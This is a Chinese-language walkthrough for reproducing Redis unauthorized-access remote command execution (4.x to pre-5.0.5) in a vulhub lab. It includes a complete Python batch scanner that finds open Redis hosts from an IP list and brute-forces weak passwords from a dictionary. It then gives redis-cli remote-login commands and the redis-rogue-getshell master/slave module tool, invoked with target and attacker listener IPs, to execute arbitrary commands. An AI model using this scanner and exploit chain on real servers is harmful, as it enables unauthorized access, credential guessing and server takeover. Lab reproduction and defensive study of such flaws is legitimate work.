0x01 漏洞简介
redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。
Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
- 影响版本 Redis 4.x/5.0.5以前版本
0x02 环境准备
漏洞环境使用vulhub
复现相当方便。
- vulhub官网地址:https://vulhub.org
cd /vulhub/redis/4-unacc
docker-compose up -d
0x03 漏洞检测
redis 未授权批量检测工具脚本,该脚本支持弱口令检测。
将检测代码新建保存到redis-scan.py脚本中。
代码语言:javascript复制#!/usr/bin/python2
# -*- coding: utf-8 -*-
import socket
import sys
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFOrn")
result = s.recv(1024)
if "redis_version" in result:
return u"[ ] IP:{0}存在未授权访问".format(ip)
elif "Authentication" in result:
with open('pass.txt','r') as p:
passwds = p.readlines()
for passwd in passwds:
passwd = passwd.strip("n")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %srn" %(passwd))
# print u"[HACKING] hacking to passwd --> " passwd
result = s.recv(1024)
if 'OK' in result:
return u"[ ] IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)
else:pass
else:pass
s.close()
except Exception, e:
return u"[ ] IP:{0}已过滤".format(ip)
pass
if __name__ == '__main__':
port="6379"
with open('IP.txt','r') as f:
ips = f.readlines()
for i in ips:
ip = i.strip("n")
result = check(ip,port,timeout=10)
print(result)
在脚本同目录下新建IP.txt导入要检测的目标IP,格式如下:
代码语言:javascript复制192.168.126.128
192.168.126.129
192.168.126.130
192.168.126.131
...
在脚本同目录下新建pass.txt导入弱口令字典,格式如下:
代码语言:javascript复制redis
root
oracle
password
p@ssw0rd
abc123!
123456
admin
abc123
...
工具脚本检测使用命令
代码语言:javascript复制python redis-scan.py
检测到目标存在未授权漏洞
如果目标设置了登录密码,支持弱口令检测
0x04 漏洞利用
kali安装redis-cli远程连接工具
代码语言:javascript复制wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/
redis-cli -h
使用redis-cli命令直接远程免密登录redis主机
代码语言:javascript复制# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码
Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
- redis未授权getShell工具下载
kali安装redis-getShell工具
代码语言:javascript复制git clone https://github.com/vulhub/redis-rogue-getshell.git
cd RedisModulesSDK/
make
利用此工具进行getShell,执行任意命令
代码语言:javascript复制# 工具命令格式:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "要执行的命令"
# 工具命令示例:
python3 redis-master.py -r 192.168.126.130 -p 6379 -L 192.168.126.128 -P 8888 -f RedisModulesSDK/exp.so -c "uname -a"
参考文章
- https://www.cnblogs.com/nul1/p/11598396.html
- https://github.com/vulhub/vulhub/blob/master/redis/4-unacc/README.md